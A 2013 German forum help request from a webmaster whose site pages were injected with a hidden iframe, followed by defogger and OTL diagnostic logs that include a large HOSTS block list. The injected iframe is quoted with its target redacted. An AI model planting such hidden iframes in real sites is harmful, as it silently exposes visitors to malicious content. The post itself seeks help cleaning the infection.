Avira hat "HTML/Infected.WebPage.Gen3" auf meiner Homepage gefunden

MA2413 · 18.05.2013, 14:56

Hallo zusammen,
Bei einem Besuch meiner Homepage schlug Avira Free Antivirus Alarm, hat in meinen Temporären-Internet-Datei Ordnern "HTML/Infected.WebPage.Gen3" gefunden.

Also hab ich mich bei meiner Hosting-Seite eingeloggt, und siehe da, vor gut 2 Wochen wurden sämtliche HTML-Dateien meiner Homepage, verändert. In fast alle Dateien wurde am Seitenende folgendes eingefügt:

Code:

ATTFilter

<iframe src="hxxp://***URL ZU EINER SHOPSEITE DIE ICH HIER NICHT "BLOSSTELLEN" MÖCHTE***.de/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"></iframe>

Ich hab die iframes aus den Seiten entfernt und meine Hosting-Passwörter geändert, soll ich die Website zusätzlich offline nehmen, im Quelltext war ja außer den iframes nichts verändert, mehr kann da ja nicht sein oder?

Da ich keinen Gratis-Anbieter habe, kann ich meinen Hoster ausschließen, ich hab mir auch andere Websites angesehen, die haben auch keinen iframe am Ende.

Also vermute ich, dass mein PC infiziert ist, zumal ich diese Shopseite, die in diesem iframe verlinkt ist vor kurzem selbst auch besucht habe und mich dann einige Tage später per FileZilla auf meinem Hostingserver eingeloggt habe.

Also gescannt hab ich meinen PC dann mal mit Anti-Malware (nichts gefunden) und dann hab ich noch die Logs gemacht:

defoger_disable.txt:

Code:

ATTFilter

defogger_disable by jpshortstuff (23.02.10.1)
Log created at 14:31 on 18/05/2013 (***)

Checking for autostart values...
HKCU\~\Run values retrieved.
HKLM\~\Run values retrieved.

Checking for services/drivers...


-=E.O.F=-

OTL.txt:
OTL Logfile:

Code:

ATTFilter

OTL logfile created on: 18.05.2013 14:48:28 - Run 3
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Users\***\Desktop
 Home Premium Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.10.9200.16540)
Locale: 00000c07 | Country: Österreich | Language: DEA | Date Format: dd.MM.yyyy
 
2,68 Gb Total Physical Memory | 1,78 Gb Available Physical Memory | 66,40% Memory free
5,35 Gb Paging File | 4,41 Gb Available in Paging File | 82,37% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files
Drive C: | 100,00 Gb Total Space | 51,55 Gb Free Space | 51,55% Space Free | Partition Type: NTFS
 
Computer Name: ***-NOTEBOOK | User Name: *** | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Quick Scan
Company Name Whitelist: On | Skip Microsoft Files: On | No Company Name Whitelist: On | File Age = 30 Days
 
========== Processes (SafeList) ==========
 
PRC - C:\Users\***\Desktop\OTL.exe (OldTimer Tools)
PRC - C:\Windows\System32\conhost.exe (Microsoft Corporation)
PRC - C:\Windows\System32\taskhost.exe (Microsoft Corporation)
PRC - C:\Windows\System32\hasplms.exe (SafeNet Inc.)
PRC - C:\Programme\Avira\AntiVir Desktop\avgnt.exe (Avira Operations GmbH & Co. KG)
PRC - C:\Programme\Avira\AntiVir Desktop\avguard.exe (Avira Operations GmbH & Co. KG)
PRC - C:\Programme\Avira\AntiVir Desktop\sched.exe (Avira Operations GmbH & Co. KG)
PRC - C:\Programme\Avira\AntiVir Desktop\avshadow.exe (Avira Operations GmbH & Co. KG)
PRC - C:\Windows\System32\NLSSRV32.EXE (Nalpeiron Ltd.)
PRC - C:\Programme\Common Files\microsoft shared\Windows Live\WLIDSVCM.EXE (Microsoft Corp.)
PRC - C:\Programme\Common Files\microsoft shared\Windows Live\WLIDSVC.EXE (Microsoft Corp.)
PRC - C:\Windows\explorer.exe (Microsoft Corporation)
PRC - C:\Programme\Windows Media Player\wmpnetwk.exe (Microsoft Corporation)
PRC - C:\Programme\Dell\QuickSet\quickset.exe (Dell Inc.)
 
 
========== Modules (No Company Name) ==========
 
 
========== Services (SafeList) ==========
 
SRV - (MozillaMaintenance) -- C:\Programme\Mozilla Maintenance Service\maintenanceservice.exe (Mozilla Foundation)
SRV - (AdobeARMservice) -- C:\Programme\Common Files\Adobe\ARM\1.0\armsvc.exe (Adobe Systems Incorporated)
SRV - (hasplms) -- C:\Windows\System32\hasplms.exe (SafeNet Inc.)
SRV - (AntiVirService) -- C:\Programme\Avira\AntiVir Desktop\avguard.exe (Avira Operations GmbH & Co. KG)
SRV - (AntiVirSchedulerService) -- C:\Programme\Avira\AntiVir Desktop\sched.exe (Avira Operations GmbH & Co. KG)
SRV - (FLEXnet Licensing Service) -- C:\Programme\Common Files\Macrovision Shared\FLEXnet Publisher\FNPLicensingService.exe (Flexera Software, Inc.)
SRV - (WatAdminSvc) -- C:\Windows\System32\Wat\WatAdminSvc.exe (Microsoft Corporation)
SRV - (nlsX86cc) -- C:\Windows\System32\NLSSRV32.EXE (Nalpeiron Ltd.)
SRV - (wlidsvc) -- C:\Programme\Common Files\microsoft shared\Windows Live\WLIDSVC.EXE (Microsoft Corp.)
SRV - (WMPNetworkSvc) -- C:\Programme\Windows Media Player\wmpnetwk.exe (Microsoft Corporation)
SRV - (osppsvc) -- C:\Programme\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE (Microsoft Corporation)
SRV - (ose) -- C:\Programme\Common Files\microsoft shared\Source Engine\OSE.EXE (Microsoft Corporation)
SRV - (SensrSvc) -- C:\Windows\System32\sensrsvc.dll (Microsoft Corporation)
SRV - (WinDefend) -- C:\Programme\Windows Defender\MpSvc.dll (Microsoft Corporation)
 
 
========== Driver Services (SafeList) ==========
 
DRV - (EagleXNt) -- C:\Windows\system32\drivers\EagleXNt.sys File not found
DRV - (hardlock) -- C:\Windows\System32\drivers\hardlock.sys (SafeNet Inc.)
DRV - (aksfridge) -- C:\Windows\System32\drivers\aksfridge.sys (SafeNet Inc.)
DRV - (avipbb) -- C:\Windows\System32\drivers\avipbb.sys (Avira GmbH)
DRV - (avgntflt) -- C:\Windows\System32\drivers\avgntflt.sys (Avira GmbH)
DRV - (ssudmdm) -- C:\Windows\System32\drivers\ssudmdm.sys (DEVGURU Co., LTD.(www.devguru.co.kr))
DRV - (dg_ssudbus) -- C:\Windows\System32\drivers\ssudbus.sys (DEVGURU Co., LTD.(www.devguru.co.kr))
DRV - (avkmgr) -- C:\Windows\System32\drivers\avkmgr.sys (Avira GmbH)
DRV - (LMouFilt) -- C:\Windows\System32\drivers\LMouFilt.Sys (Logitech, Inc.)
DRV - (LHidFilt) -- C:\Windows\System32\drivers\LHidFilt.Sys (Logitech, Inc.)
DRV - (LUsbFilt) -- C:\Windows\System32\drivers\LUsbFilt.sys (Logitech, Inc.)
DRV - (Impcd) -- C:\Windows\System32\drivers\Impcd.sys (Intel Corporation)
DRV - (ssadmdm) -- C:\Windows\System32\drivers\ssadmdm.sys (MCCI Corporation)
DRV - (ssadbus) -- C:\Windows\System32\drivers\ssadbus.sys (MCCI Corporation)
DRV - (ssadmdfl) -- C:\Windows\System32\drivers\ssadmdfl.sys (MCCI Corporation)
DRV - (rixdpcie) -- C:\Windows\System32\drivers\rixdpe86.sys (REDC)
DRV - (tap0901) -- C:\Windows\System32\drivers\tap0901.sys (The OpenVPN Project)
DRV - (TsUsbFlt) -- C:\Windows\System32\drivers\TsUsbFlt.sys (Microsoft Corporation)
DRV - (WinUsb) -- C:\Windows\System32\drivers\winusb.sys (Microsoft Corporation)
DRV - (NVHDA) -- C:\Windows\System32\drivers\nvhda32v.sys (NVIDIA Corporation)
DRV - (ssmdrv) -- C:\Windows\System32\drivers\ssmdrv.sys (Avira GmbH)
DRV - (nvlddmkm) -- C:\Windows\System32\drivers\nvlddmkm.sys (NVIDIA Corporation)
DRV - (risdpcie) -- C:\Windows\System32\drivers\risdpe86.sys (REDC)
DRV - (rimspci) -- C:\Windows\System32\drivers\rimspe86.sys (REDC)
DRV - (HECI) -- C:\Windows\System32\drivers\HECI.sys (Intel Corporation)
 
 
========== Standard Registry (SafeList) ==========
 
 
========== Internet Explorer ==========
 
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = hxxp://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
 
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.at/
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = hxxp://at.msn.com/?ocid=iehp
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = de-AT
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 29 05 AE 0E 9E E9 CC 01  [binary data]
IE - HKCU\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKCU\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = hxxp://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE10SR
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
========== FireFox ==========
 
FF - prefs.js..browser.search.defaultenginename: "Google"
FF - prefs.js..browser.search.selectedEngine: "Google"
FF - prefs.js..browser.startup.homepage: "www.google.at"
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:20.0.1
FF - user.js - File not found
 
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF32_11_7_700_169.dll ()
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=:  File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@graphisoft.com/GDL Web Plug-in: C:\Program Files\GRAPHISOFT\GDLWebControl\npGDLMozilla.dll File not found
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=10.21.2: C:\Windows\system32\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=10.21.2: C:\Program Files\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~1\MICROS~2\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: C:\PROGRA~1\MICROS~2\Office14\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WLPG,version=15.4.3502.0922: C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WLPG,version=15.4.3538.0513: C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@ngm.nexoneu.com/NxGame: C:\ProgramData\NexonEU\NGM\npNxGameeu.dll File not found
FF - HKLM\Software\MozillaPlugins\Adobe Reader: C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\extensions\\{ACAA314B-EEBA-48e4-AD47-84E31C44796C}: C:\Program Files\Common Files\DVDVideoSoft\plugins\ff\
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 20.0.1\extensions\\Components: C:\Program Files\Mozilla Firefox\components [2013.05.15 23:25:56 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 20.0.1\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins
FF - HKEY_CURRENT_USER\software\mozilla\Mozilla Firefox 20.0.1\extensions\\Components: C:\Program Files\Mozilla Firefox\components [2013.05.15 23:25:56 | 000,000,000 | ---D | M]
FF - HKEY_CURRENT_USER\software\mozilla\Mozilla Firefox 20.0.1\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins
 
[2012.02.12 18:27:34 | 000,000,000 | ---D | M] (No name found) -- C:\Users\***\AppData\Roaming\mozilla\Extensions
[2013.05.08 19:49:41 | 000,000,000 | ---D | M] (No name found) -- C:\Users\***\AppData\Roaming\mozilla\Firefox\Profiles\hzatt3of.default\extensions
[2012.10.27 22:15:29 | 000,060,609 | ---- | M] () (No name found) -- C:\Users\***\AppData\Roaming\mozilla\firefox\profiles\hzatt3of.default\extensions\{3335F91D-2AEF-4097-B831-C96C60349822}.xpi
[2013.05.08 19:49:39 | 000,534,214 | ---- | M] () (No name found) -- C:\Users\***\AppData\Roaming\mozilla\firefox\profiles\hzatt3of.default\extensions\{73a6fe31-595d-460b-a920-fcc0f8843232}.xpi
[2013.05.08 19:49:41 | 000,870,680 | ---- | M] () (No name found) -- C:\Users\***\AppData\Roaming\mozilla\firefox\profiles\hzatt3of.default\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi
[2013.03.01 18:12:08 | 000,269,007 | ---- | M] () (No name found) -- C:\Users\***\AppData\Roaming\mozilla\firefox\profiles\hzatt3of.default\extensions\{e4a8a97b-f2ed-450b-b12d-ee082ba24781}.xpi
[2013.04.13 14:38:08 | 000,000,000 | ---D | M] (No name found) -- C:\Programme\Mozilla Firefox\extensions
[2013.04.13 14:38:10 | 000,263,064 | ---- | M] (Mozilla Foundation) -- C:\Program Files\mozilla firefox\components\browsercomps.dll
[2013.02.16 02:35:09 | 000,002,465 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\bing.xml
[2013.02.16 02:35:09 | 000,002,086 | ---- | M] () -- C:\Program Files\mozilla firefox\searchplugins\twitter.xml
 
O1 HOSTS File: ([2012.12.20 18:00:42 | 000,444,830 | R--- | M]) - C:\Windows\System32\drivers\etc\hosts
O1 - Hosts: 127.0.0.1	www.007guard.com
O1 - Hosts: 127.0.0.1	007guard.com
O1 - Hosts: 127.0.0.1	008i.com
O1 - Hosts: 127.0.0.1	www.008k.com
O1 - Hosts: 127.0.0.1	008k.com
O1 - Hosts: 127.0.0.1	www.00hq.com
O1 - Hosts: 127.0.0.1	00hq.com
O1 - Hosts: 127.0.0.1	010402.com
O1 - Hosts: 127.0.0.1	www.032439.com
O1 - Hosts: 127.0.0.1	032439.com
O1 - Hosts: 127.0.0.1	www.0scan.com
O1 - Hosts: 127.0.0.1	0scan.com
O1 - Hosts: 127.0.0.1	www.1000gratisproben.com
O1 - Hosts: 127.0.0.1	1000gratisproben.com
O1 - Hosts: 127.0.0.1	1001namen.com
O1 - Hosts: 127.0.0.1	www.1001namen.com
O1 - Hosts: 127.0.0.1	100888290cs.com
O1 - Hosts: 127.0.0.1	www.100888290cs.com
O1 - Hosts: 127.0.0.1	www.100sexlinks.com
O1 - Hosts: 127.0.0.1	100sexlinks.com
O1 - Hosts: 127.0.0.1	www.10sek.com
O1 - Hosts: 127.0.0.1	10sek.com
O1 - Hosts: 127.0.0.1	www.1-2005-search.com
O1 - Hosts: 127.0.0.1	1-2005-search.com
O1 - Hosts: 127.0.0.1	www.123fporn.info
O1 - Hosts: 15276 more lines...
O2 - BHO: (Java(tm) Plug-In SSV Helper) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Programme\Java\jre7\bin\ssv.dll (Oracle Corporation)
O2 - BHO: (Windows Live ID Sign-in Helper) - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Programme\Common Files\microsoft shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
O2 - BHO: (Office Document Cache Handler) - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\Programme\Microsoft Office\Office14\URLREDIR.DLL (Microsoft Corporation)
O2 - BHO: (Java(tm) Plug-In 2 SSV Helper) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Programme\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)
O4 - HKLM..\Run: [avgnt] C:\Program Files\Avira\AntiVir Desktop\avgnt.exe (Avira Operations GmbH & Co. KG)
O4 - HKLM..\Run: [NvCplDaemon] C:\Windows\System32\NvCpl.dll (NVIDIA Corporation)
O4 - HKLM..\Run: [QuickSet] C:\Programme\Dell\QuickSet\quickset.exe (Dell Inc.)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 5
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O8 - Extra context menu item: Nach Microsoft E&xcel exportieren - C:\Programme\Microsoft Office\Office14\EXCEL.EXE (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000007 [] - C:\Programme\Common Files\microsoft shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000008 [] - C:\Programme\Common Files\microsoft shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O13 - gopher Prefix: missing
O16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_10-windows-i586.cab (Reg Error: Value error.)
O16 - DPF: {CAFEEFAC-0017-0000-0010-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_10-windows-i586.cab (Java Plug-in 1.7.0_10)
O16 - DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_10-windows-i586.cab (Java Plug-in 10.21.2)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.1 192.168.0.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{1D5F7FC6-F032-4390-86F3-C504DF7C959F}: DhcpNameServer = 192.168.42.129
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{A5636BE9-90A9-41AC-B99B-606CB3800402}: DhcpNameServer = 192.168.1.1 192.168.0.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{A58C0733-93A3-4E46-9CCF-6B48AC9B8731}: DhcpNameServer = 192.168.42.129
O18 - Protocol\Handler\ms-help {314111c7-a502-11d2-bbca-00c04f8ec294} - c:\Programme\Common Files\microsoft shared\Help\hxds.dll (Microsoft Corporation)
O18 - Protocol\Handler\wlpg {E43EF6CD-A37A-4A9B-9E6F-83F89B8E6324} - C:\Programme\Windows Live\Photo Gallery\AlbumDownloadProtocolHandler.dll (Microsoft Corporation)
O18 - Protocol\Filter\text/xml {807573E5-5146-11D5-A672-00B0D022E945} - C:\Programme\Common Files\microsoft shared\OFFICE14\MSOXMLMF.DLL (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\System32\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: VMApplet - (SystemPropertiesPerformance.exe) - C:\Windows\System32\SystemPropertiesPerformance.exe (Microsoft Corporation)
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2009.06.10 23:42:20 | 000,000,024 | ---- | M] () - C:\autoexec.bat -- [ NTFS ]
O34 - HKLM BootExecute: (autocheck autochk *)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)
 
========== Files/Folders - Created Within 30 Days ==========
 
[2013.05.18 13:36:38 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\***\Desktop\OTL.exe
[2013.05.18 13:21:46 | 000,000,000 | ---D | C] -- C:\Users\***\AppData\Roaming\Malwarebytes
[2013.05.18 13:21:40 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes' Anti-Malware
[2013.05.18 13:21:40 | 000,000,000 | ---D | C] -- C:\ProgramData\Malwarebytes
[2013.05.18 13:21:39 | 000,022,856 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\System32\drivers\mbam.sys
[2013.05.18 13:21:39 | 000,000,000 | ---D | C] -- C:\Program Files\Malwarebytes' Anti-Malware
[2013.05.13 13:18:05 | 000,000,000 | ---D | C] -- C:\Program Files\FileZilla FTP Client
[2013.05.11 21:35:00 | 000,000,000 | ---D | C] -- C:\Users\***\AppData\Local\Corsair
[2013.04.25 18:32:43 | 000,000,000 | ---D | C] -- C:\ProgramData\SafeNet Sentinel
 
========== Files - Modified Within 30 Days ==========
 
[2013.05.18 14:37:28 | 000,014,832 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2013.05.18 14:37:28 | 000,014,832 | -H-- | M] () -- C:\Windows\System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2013.05.18 14:36:43 | 000,696,870 | ---- | M] () -- C:\Windows\System32\perfh007.dat
[2013.05.18 14:36:43 | 000,652,148 | ---- | M] () -- C:\Windows\System32\perfh009.dat
[2013.05.18 14:36:43 | 000,148,134 | ---- | M] () -- C:\Windows\System32\perfc007.dat
[2013.05.18 14:36:43 | 000,121,080 | ---- | M] () -- C:\Windows\System32\perfc009.dat
[2013.05.18 14:31:57 | 000,000,000 | ---- | M] () -- C:\Users\***\defogger_reenable
[2013.05.18 14:30:15 | 000,406,632 | ---- | M] () -- C:\Windows\System32\FNTCACHE.DAT
[2013.05.18 14:30:13 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2013.05.18 14:30:07 | 2156,863,488 | -HS- | M] () -- C:\hiberfil.sys
[2013.05.18 14:29:23 | 001,339,650 | ---- | M] () -- C:\Users\***\Desktop\Vollständige Virenbeschreibung.mht
[2013.05.18 14:29:17 | 000,427,757 | ---- | M] () -- C:\Users\***\Desktop\Für alle Hilfesuchenden! Was muss ich vor der Eröffnung eines Themas beachten_ - Trojaner-Board.mht
[2013.05.18 14:28:53 | 000,377,856 | ---- | M] () -- C:\Users\***\Desktop\gmer_2.1.19163.exe
[2013.05.18 14:27:14 | 000,050,477 | ---- | M] () -- C:\Users\***\Desktop\Defogger.exe
[2013.05.18 14:23:45 | 000,013,194 | ---- | M] () -- C:\Users\***\Desktop\Unbenannt.png
[2013.05.18 13:36:38 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\***\Desktop\OTL.exe
[2013.05.18 13:21:40 | 000,001,071 | ---- | M] () -- C:\Users\Public\Desktop\ Malwarebytes Anti-Malware .lnk
[2013.05.17 23:49:17 | 000,007,659 | ---- | M] () -- C:\Users\***\AppData\Local\Resmon.ResmonCfg
[2013.05.15 23:41:26 | 000,307,200 | ---- | M] () -- C:\Windows\SetACL.exe
[2013.05.13 19:50:59 | 000,001,386 | ---- | M] () -- C:\Users\***\Desktop\SBB.lnk
[2013.05.13 19:50:57 | 000,001,426 | ---- | M] () -- C:\Users\***\Desktop\English.lnk
[2013.05.13 19:50:54 | 000,001,386 | ---- | M] () -- C:\Users\***\Desktop\BKT.lnk
[2013.05.04 19:29:58 | 000,000,059 | ---- | M] () -- C:\Windows\wpd99.drv
 
========== Files Created - No Company Name ==========
 
[2013.05.18 14:31:57 | 000,000,000 | ---- | C] () -- C:\Users\***\defogger_reenable
[2013.05.18 14:30:09 | 000,406,632 | ---- | C] () -- C:\Windows\System32\FNTCACHE.DAT
[2013.05.18 14:29:22 | 001,339,650 | ---- | C] () -- C:\Users\***\Desktop\Vollständige Virenbeschreibung.mht
[2013.05.18 14:29:17 | 000,427,757 | ---- | C] () -- C:\Users\***\Desktop\Für alle Hilfesuchenden! Was muss ich vor der Eröffnung eines Themas beachten_ - Trojaner-Board.mht
[2013.05.18 14:28:53 | 000,377,856 | ---- | C] () -- C:\Users\***\Desktop\gmer_2.1.19163.exe
[2013.05.18 14:27:13 | 000,050,477 | ---- | C] () -- C:\Users\***\Desktop\Defogger.exe
[2013.05.18 14:23:45 | 000,013,194 | ---- | C] () -- C:\Users\***\Desktop\Unbenannt.png
[2013.05.18 13:21:40 | 000,001,071 | ---- | C] () -- C:\Users\Public\Desktop\ Malwarebytes Anti-Malware .lnk
[2013.05.15 23:37:59 | 000,307,200 | ---- | C] () -- C:\Windows\SetACL.exe
[2013.05.13 19:50:59 | 000,001,386 | ---- | C] () -- C:\Users\***\Desktop\SBB.lnk
[2013.05.13 19:50:57 | 000,001,426 | ---- | C] () -- C:\Users\***\Desktop\English.lnk
[2013.05.13 19:50:54 | 000,001,386 | ---- | C] () -- C:\Users\***\Desktop\BKT.lnk
[2013.05.13 13:46:45 | 000,007,659 | ---- | C] () -- C:\Users\***\AppData\Local\Resmon.ResmonCfg
[2013.04.17 19:14:54 | 000,002,831 | ---- | C] () -- C:\Users\***\AppData\Local\recently-used.xbel
[2013.03.21 14:15:11 | 000,000,044 | ---- | C] () -- C:\Windows\AuerSetups.ini
[2012.12.15 01:06:37 | 000,010,593 | ---- | C] () -- C:\Windows\CSTBox.INI
[2012.12.14 09:56:57 | 000,000,040 | ---- | C] () -- C:\Users\***\AppData\Local\tmp.no23
[2012.10.19 17:27:14 | 000,081,408 | ---- | C] () -- C:\Windows\cadkasdeinst01.exe
[2012.09.19 21:28:00 | 000,001,480 | ---- | C] () -- C:\Users\***\AppData\Local\RecConfig.xml
[2012.08.17 23:18:27 | 000,000,079 | ---- | C] () -- C:\Users\***\AppData\Local\CrystalDiskMark30.ini
[2012.06.27 15:29:23 | 000,000,147 | ---- | C] () -- C:\ProgramData\Microsoft.SqlServer.Compact.351.32.bc
[2012.02.12 20:15:11 | 000,036,864 | ---- | C] () -- C:\Windows\System32\pdf995mon.dll
[2012.02.12 20:15:11 | 000,000,059 | ---- | C] () -- C:\Windows\wpd99.drv
[2012.02.12 19:05:08 | 000,080,416 | ---- | C] () -- C:\Windows\System32\RtNicProp32.dll
[2012.02.12 19:02:39 | 000,870,560 | ---- | C] () -- C:\Windows\System32\igkrng575.bin
[2012.02.12 19:02:39 | 000,208,896 | ---- | C] () -- C:\Windows\System32\iglhsip32.dll
[2012.02.12 19:02:39 | 000,143,360 | ---- | C] () -- C:\Windows\System32\iglhcp32.dll
[2012.02.12 19:02:38 | 000,104,796 | ---- | C] () -- C:\Windows\System32\igfcg575m.bin
[2012.02.12 19:02:38 | 000,004,096 | ---- | C] ( ) -- C:\Windows\System32\IGFXDEVLib.dll
[2012.02.12 19:02:37 | 000,127,868 | ---- | C] () -- C:\Windows\System32\igcompkrng575.bin
[2012.02.12 19:02:11 | 000,094,208 | ---- | C] () -- C:\Windows\System32\IccLibDll.dll
[2012.02.12 19:02:10 | 000,000,151 | ---- | C] () -- C:\Windows\System32\GfxUI.exe.config
[2011.11.08 00:08:38 | 000,508,224 | ---- | C] () -- C:\Windows\System32\ICCProfiles.dll
 
========== ZeroAccess Check ==========
 
[2009.07.14 06:42:31 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shell32.dll -- [2012.06.09 06:41:00 | 012,873,728 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = %systemroot%\system32\wbem\fastprox.dll -- [2010.11.20 14:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = %systemroot%\system32\wbem\wbemess.dll -- [2009.07.14 03:16:17 | 000,342,528 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
========== LOP Check ==========
 
[2013.04.28 22:03:56 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\Autodesk
[2012.10.19 17:27:23 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\CAD-KAS
[2013.05.17 00:05:24 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\DVDVideoSoft
[2013.05.18 13:49:09 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\FileZilla
[2012.10.19 18:22:32 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\mp3DirectCut
[2012.02.12 18:18:35 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\Opera
[2012.02.15 15:26:31 | 000,000,000 | ---D | M] -- C:\Users\***\AppData\Roaming\pdf995
 
========== Purity Check ==========
 
 

< End of report >

